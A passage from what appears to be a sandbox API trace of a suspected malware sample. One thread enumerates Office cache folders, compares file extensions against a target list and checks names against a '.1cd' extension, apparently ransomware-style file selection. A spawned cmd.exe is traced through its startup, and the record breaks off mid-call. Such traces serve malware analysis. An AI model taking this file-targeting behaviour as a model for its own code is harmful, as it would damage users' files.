lpString2=".msi") returned 1 [0198.847] lstrcmpiW (lpString1=".pfm", lpString2=".msi") returned 1 [0198.847] lstrcmpiW (lpString1=".pfx", lpString2=".msi") returned 1 [0198.847] lstrcmpiW (lpString1=".pgm", lpString2=".msi") returned 1 [0198.847] lstrcmpiW (lpString1=".php", lpString2=".msi") returned 1 [0198.847] lstrcmpiW (lpString1=".php3", lpString2="I.msi") returned -1 [0198.847] lstrcmpiW (lpString1=".php4", lpString2="I.msi") returned -1 [0198.847] lstrcmpiW (lpString1=".php5", lpString2="I.msi") returned -1 [0198.847] lstrcmpiW (lpString1=".phtml", lpString2="UI.msi") returned -1 [0198.847] lstrcmpiW (lpString1=".pict", lpString2="I.msi") returned -1 [0198.847] lstrcmpiW (lpString1=".pl", lpString2="msi") returned -1 [0198.848] lstrcmpiW (lpString1=".pls", lpString2=".msi") returned 1 [0198.848] lstrcmpiW (lpString1=".pm", lpString2="msi") returned -1 [0198.848] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0198.848] lstrcmpiW (lpString1=".pnm", lpString2=".msi") returned 1 [0198.848] lstrcmpiW (lpString1=".pot", lpString2=".msi") returned 1 [0198.848] lstrcmpiW (lpString1=".potm", lpString2="I.msi") returned -1 [0198.848] lstrcmpiW (lpString1=".potx", lpString2="I.msi") returned -1 [0198.848] lstrcmpiW (lpString1=".ppa", lpString2=".msi") returned 1 [0198.848] lstrcmpiW (lpString1=".ppam", lpString2="I.msi") returned -1 [0198.848] lstrcmpiW (lpString1=".ppm", lpString2=".msi") returned 1 [0198.848] lstrcmpiW (lpString1=".pps", lpString2=".msi") returned 1 [0198.848] lstrcmpiW (lpString1=".ppsm", lpString2="I.msi") returned -1 [0198.848] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0198.848] lstrcmpiW (lpString1=".pptm", lpString2="I.msi") returned -1 [0198.848] lstrcmpiW (lpString1=".pptx", lpString2="I.msi") returned -1 [0198.848] lstrcmpiW (lpString1=".prn", lpString2=".msi") returned 1 [0198.848] lstrcmpiW (lpString1=".ps", lpString2="msi") returned -1 [0198.849] lstrcmpiW (lpString1=".psb", lpString2=".msi") returned 1 [0198.849] lstrcmpiW (lpString1=".psd", lpString2=".msi") returned 1 [0198.849] lstrcmpiW (lpString1=".pst", lpString2=".msi") returned 1 [0198.849] lstrcmpiW (lpString1=".ptx", lpString2=".msi") returned 1 [0198.849] lstrcmpiW (lpString1=".pub", lpString2=".msi") returned 1 [0198.849] lstrcmpiW (lpString1=".pwm", lpString2=".msi") returned 1 [0198.849] lstrcmpiW (lpString1=".pxr", lpString2=".msi") returned 1 [0198.849] lstrcmpiW (lpString1=".py", lpString2="msi") returned -1 [0198.849] lstrcmpiW (lpString1=".qt", lpString2="msi") returned -1 [0198.849] lstrcmpiW (lpString1=".r3d", lpString2=".msi") returned 1 [0198.849] lstrcmpiW (lpString1=".raf", lpString2=".msi") returned 1 [0198.849] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0198.849] lstrcmpiW (lpString1=".raw", lpString2=".msi") returned 1 [0198.849] lstrcmpiW (lpString1=".rdf", lpString2=".msi") returned 1 [0198.849] FindNextFileW (in: hFindFile=0x3ed1080, lpFindFileData=0x351f58c | out: lpFindFileData=0x351f58c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58ed930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x646, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteMUI.xml", cAlternateFileName="ONENOT~1.XML")) returned 1 [0198.850] lstrlenW (lpString="OneNoteMUI.xml") returned 14 [0198.850] lstrlenW (lpString=".1cd") returned 4 [0198.850] FindClose (in: hFindFile=0x3ed1080 | out: hFindFile=0x3ed1080) returned 1 [0198.850] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3eb0050 | out: hHeap=0x4f0000) returned 1 [0198.850] FindNextFileW (in: hFindFile=0x541130, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa5bc90a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc90a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-00B4-0409-1000-0000000FF1CE}-C", cAlternateFileName="{912E0~1")) returned 1 [0198.850] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C") returned 62 [0198.850] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x3eb0050 [0198.850] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C") returned 62 [0198.851] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x351f58c | out: lpFindFileData=0x351f58c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa5bc90a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc90a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ed1080 [0198.870] FindNextFileW (in: hFindFile=0x3ed1080, lpFindFileData=0x351f58c | out: lpFindFileData=0x351f58c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa5bc90a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc90a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0198.870] FindNextFileW (in: hFindFile=0x3ed1080, lpFindFileData=0x351f58c | out: lpFindFileData=0x351f58c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x308ae9f0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x308ae9f0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b55ce0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x265400, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectMUI.msi", cAlternateFileName="PROJEC~1.MSI")) returned 1 [0198.870] lstrlenW (lpString="ProjectMUI.msi") returned 14 [0198.870] lstrlenW (lpString=".1cd") returned 4 [0199.126] FindNextFileW (in: hFindFile=0x3ed1140, lpFindFileData=0x351f58c | out: lpFindFileData=0x351f58c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee803530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0199.126] FindNextFileW (in: hFindFile=0x3ed1140, lpFindFileData=0x351f58c | out: lpFindFileData=0x351f58c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee4bb7b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x3e7e1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLR.cab", cAlternateFileName="")) returned 1 [0199.126] lstrlenW (lpString="GrooveLR.cab") returned 12 [0199.126] lstrlenW (lpString=".1cd") returned 4 Thread: id = 21 os_tid = 0xbe8 Process: id = "2" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x321e4000" os_pid = "0xb70" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xb5c" cmd_line = "\"C:\\Windows\\system32\\cmd.exe\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 3 os_tid = 0xb74 [0194.947] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x20fcd0 | out: lpSystemTimeAsFileTime=0x20fcd0*(dwLowDateTime=0x9f0000d0, dwHighDateTime=0x1d50450)) [0194.947] GetCurrentProcessId () returned 0xb70 [0194.947] GetCurrentThreadId () returned 0xb74 [0194.947] GetTickCount () returned 0x31e58 [0194.947] QueryPerformanceCounter (in: lpPerformanceCount=0x20fcd8 | out: lpPerformanceCount=0x20fcd8*=25435293755) returned 1 [0194.948] GetModuleHandleW (lpModuleName=0x0) returned 0x4a230000 [0194.948] __set_app_type (_Type=0x1) [0194.948] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a257810) returned 0x0 [0194.949] __getmainargs (in: _Argc=0x4a27a608, _Argv=0x4a27a618, _Env=0x4a27a610, _DoWildCard=0, _StartInfo=0x4a25e0f4 | out: _Argc=0x4a27a608, _Argv=0x4a27a618, _Env=0x4a27a610) returned 0 [0194.949] GetCurrentThreadId () returned 0xb74 [0194.949] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xb74) returned 0x3c [0194.950] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e30000 [0194.950] GetProcAddress (hModule=0x76e30000, lpProcName="SetThreadUILanguage") returned 0x76e46d40 [0194.950] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0194.950] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0194.950] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x20fc68 | out: phkResult=0x20fc68*=0x0) returned 0x2 [0194.950] VirtualQuery (in: lpAddress=0x20fc50, lpBuffer=0x20fbd0, dwLength=0x30 | out: lpBuffer=0x20fbd0*(BaseAddress=0x20f000, AllocationBase=0x110000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0194.950] VirtualQuery (in: lpAddress=0x110000, lpBuffer=0x20fbd0, dwLength=0x30 | out: lpBuffer=0x20fbd0*(BaseAddress=0x110000, AllocationBase=0x110000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0194.950] VirtualQuery (in: lpAddress=0x111000, lpBuffer=0x20fbd0, dwLength=0x30 | out: lpBuffer=0x20fbd0*(BaseAddress=0x111000, AllocationBase=0x110000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0194.950] VirtualQuery (in: lpAddress=0x114000, lpBuffer=0x20fbd0, dwLength=0x30 | out: lpBuffer=0x20fbd0*(BaseAddress=0x114000, AllocationBase=0x110000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0194.950] VirtualQuery (in: lpAddress=0x210000, lpBuffer=0x20fbd0, dwLength=0x30 | out: lpBuffer=0x20fbd0*(BaseAddress=0x210000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0x80000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0194.950] GetConsoleOutputCP () returned 0x1b5 [0194.950] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a26bfe0 | out: lpCPInfo=0x4a26bfe0) returned 1 [0194.951] SetConsoleCtrlHandler (HandlerRoutine=0x4a253184, Add=1) returned 1 [0194.951] _get_osfhandle (_FileHandle=1) returned 0xf4 [0194.951] SetConsoleMode (hConsoleHandle=0xf4, dwMode=0x0) returned 0 [0194.951] _get_osfhandle (_FileHandle=1) returned 0xf4 [0194.951] GetConsoleMode (in: hConsoleHandle=0xf4, lpMode=0x4a25e194 | out: lpMode=0x4a25e194) returned 0 [0194.951] _get_osfhandle (_FileHandle=0) returned 0xe8 [0194.951] GetConsoleMode (in: hConsoleHandle=0xe8, lpMode=0x4a25e198 | out: lpMode=0x4a25e198) returned 0 [0194.951] GetEnvironmentStringsW () returned 0x2a8a60* [0194.951] GetProcessHeap () returned 0x290000 [0194.951] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0xa7c) returned 0x2a94f0 [0194.951] FreeEnvironmentStringsW (penv=0x2a8a60) returned 1 [0194.951] GetProcessHeap () returned 0x290000 [0194.952] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x8) returned 0x2a88e0 [0194.952] GetEnvironmentStringsW () returned 0x2a8a60* [0194.952] GetProcessHeap () returned 0x290000 [0194.952] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0xa7c) returned 0x2a9f80 [0194.952] FreeEnvironmentStringsW (penv=0x2a8a60) returned 1 [0194.952] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x20eb28 | out: phkResult=0x20eb28*=0x44) returned 0x0 [0194.952] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x20eb20, lpData=0x20eb40, lpcbData=0x20eb24*=0x1000 | out: lpType=0x20eb20*=0x0, lpData=0x20eb40*=0x18, lpcbData=0x20eb24*=0x1000) returned 0x2 [0194.952] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x20eb20, lpData=0x20eb40, lpcbData=0x20eb24*=0x1000 | out: lpType=0x20eb20*=0x4, lpData=0x20eb40*=0x1, lpcbData=0x20eb24*=0x4) returned 0x0 [0194.952] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x20eb20, lpData=0x20eb40, lpcbData=0x20eb24*=0x1000 | out: lpType=0x20eb20*=0x0, lpData=0x20eb40*=0x1, lpcbData=0x20eb24*=0x1000) returned 0x2 [0194.952] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x20eb20, lpData=0x20eb40, lpcbData=0x20eb24*=0x1000 | out: lpType=0x20eb20*=0x4, lpData=0x20eb40*=0x0, lpcbData=0x20eb24*=0x4) returned 0x0 [0194.952] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x20eb20, lpData=0x20eb40, lpcbData=0x20eb24*=0x1000 | out: lpType=0x20eb20*=0x4, lpData=0x20eb40*=0x40, lpcbData=0x20eb24*=0x4) returned 0x0 [0194.952] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x20eb20, lpData=0x20eb40, lpcbData=0x20eb24*=0x1000 | out: lpType=0x20eb20*=0x4, lpData=0x20eb40*=0x40, lpcbData=0x20eb24*=0x4) returned 0x0 [0194.952] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x20eb20, lpData=0x20eb40, lpcbData=0x20eb24*=0x1000 | out: lpType=0x20eb20*=0x0, lpData=0x20eb40*=0x40, lpcbData=0x20eb24*=0x1000) returned 0x2 [0194.952] RegCloseKey (hKey=0x44) returned 0x0 [0194.952] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x20eb28 | out: phkResult=0x20eb28*=0x44) returned 0x0 [0194.952] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x20eb20, lpData=0x20eb40, lpcbData=0x20eb24*=0x1000 | out: lpType=0x20eb20*=0x0, lpData=0x20eb40*=0x40, lpcbData=0x20eb24*=0x1000) returned 0x2 [0194.952] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x20eb20, lpData=0x20eb40, lpcbData=0x20eb24*=0x1000 | out: lpType=0x20eb20*=0x4, lpData=0x20eb40*=0x1, lpcbData=0x20eb24*=0x4) returned 0x0 [0194.953] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x20eb20, lpData=0x20eb40, lpcbData=0x20eb24*=0x1000 | out: lpType=0x20eb20*=0x0, lpData=0x20eb40*=0x1, lpcbData=0x20eb24*=0x1000) returned 0x2 [0194.953] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x20eb20, lpData=0x20eb40, lpcbData=0x20eb24*=0x1000 | out: lpType=0x20eb20*=0x4, lpData=0x20eb40*=0x0, lpcbData=0x20eb24*=0x4) returned 0x0 [0194.953] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x20eb20, lpData=0x20eb40, lpcbData=0x20eb24*=0x1000 | out: lpType=0x20eb20*=0x4, lpData=0x20eb40*=0x9, lpcbData=0x20eb24*=0x4) returned 0x0 [0194.953] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x20eb20, lpData=0x20eb40, lpcbData=0x20eb24*=0x1000 | out: lpType=0x20eb20*=0x4, lpData=0x20eb40*=0x9, lpcbData=0x20eb24*=0x4) returned 0x0 [0194.953] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x20eb20, lpData=0x20eb40, lpcbData=0x20eb24*=0x1000 | out: lpType=0x20eb20*=0x0, lpData=0x20eb40*=0x9, lpcbData=0x20eb24*=0x1000) returned 0x2 [0194.953] RegCloseKey (hKey=0x44) returned 0x0 [0194.953] time (in: timer=0x0 | out: timer=0x0) returned 0x5cd0a396 [0194.953] srand (_Seed=0x5cd0a396) [0194.953] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\"" [0194.953] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\"" [0194.953] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a26c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0194.954] GetProcessHeap () returned 0x290000 [0194.954] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x218) returned 0x2aaa10 [0194.954] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2aaa20, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0194.954] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a25f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0194.954] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a25f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0194.954] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a25f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0194.954] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0194.954] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0194.954] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0194.954] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0194.954] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0194.954] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0194.954] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0194.954] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0194.955] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0194.955] GetProcessHeap () returned 0x290000 [0194.955] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2a94f0 | out: hHeap=0x290000) returned 1 [0194.955] GetEnvironmentStringsW () returned 0x2a8a60* [0194.955] GetProcessHeap () returned 0x290000 [0194.955] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0xa94) returned 0x2aac30 [0194.955] FreeEnvironmentStringsW (penv=0x2a8a60) returned 1 [0194.955] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a25f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0194.955] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a25f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0194.955] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0194.955] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0194.955] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0194.955] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0194.955] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0194.955] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0194.955] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0194.955] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0194.955] GetProcessHeap () returned 0x290000 [0194.955] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x5c) returned 0x2ab6d0 [0194.955] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x20f930 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0194.956] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x20f930, lpFilePart=0x20f910 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x20f910*="Desktop") returned 0x25 [0194.956] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0194.956] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x20f640 | out: lpFindFileData=0x20f640*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="Users", cAlternateFileName="")) returned 0x2ab740 [0194.956] FindClose (in: hFindFile=0x2ab740 | out: hFindFile=0x2ab740) returned 1 [0194.956] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x20f640 | out: lpFindFileData=0x20f640*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x2ab740 [0194.956] FindClose (in: hFindFile=0x2ab740 | out: hFindFile=0x2ab740) returned 1 [0194.956] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0194.956] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x20f640 | out: lpFindFileData=0x20f640*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x8c62aef0, ftLastAccessTime.dwHighDateTime=0x1d50450, ftLastWriteTime.dwLowDateTime=0x8c62aef0, ftLastWriteTime.dwHighDateTime=0x1d50450, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="Desktop", cAlternateFileName="")) returned 0x2ab740 [0194.956] FindClose (in: hFindFile=0x2ab740 | out: hFindFile=0x2ab740) returned 1 [0194.957] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0194.957] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0194.957] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0194.957] GetProcessHeap () returned 0x290000 [0194.957] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2aac30 | out: hHeap=0x290000) returned 1 [0194.957] GetEnvironmentStringsW () returned 0x2ab740* [0194.957] GetProcessHeap () returned 0x290000 [0194.957] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0xae8) returned 0x2ac230 [0194.957] FreeEnvironmentStringsW (penv=0x2ab740) returned 1 [0194.957] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a26c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0194.957] GetProcessHeap () returned 0x290000 [0194.957] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2ab6d0 | out: hHeap=0x290000) returned 1 [0194.957] GetProcessHeap () returned 0x290000 [0194.957] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x4016) returned 0x2acd20 [0194.958] GetProcessHeap () returned 0x290000 [0194.958] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2acd20 | out: hHeap=0x290000) returned 1 [0194.958] GetConsoleOutputCP () returned 0x1b5 [0194.958] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a26bfe0 | out: lpCPInfo=0x4a26bfe0) returned 1 [0194.958] GetUserDefaultLCID () returned 0x409 [0194.958] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a267b50, cchData=8 | out: lpLCData=":") returned 2 [0194.958] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x20fa40, cchData=128 | out: lpLCData="0") returned 2 [0194.958] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x20fa40, cchData=128 | out: lpLCData="0") returned 2 [0194.958] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x20fa40, cchData=128 | out: lpLCData="1") returned 2 [0194.958] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a27a740, cchData=8 | out: lpLCData="/") returned 2 [0194.958] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a27a4a0, cchData=32 | out: lpLCData="Mon") returned 4 [0194.959] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a27a460, cchData=32 | out: lpLCData="Tue") returned 4 [0194.959] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a27a420, cchData=32 | out: lpLCData="Wed") returned 4 [0194.959] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a27a3e0, cchData=32 | out: lpLCData="Thu") returned 4 [0194.959] GetLocaleInfoW (in: 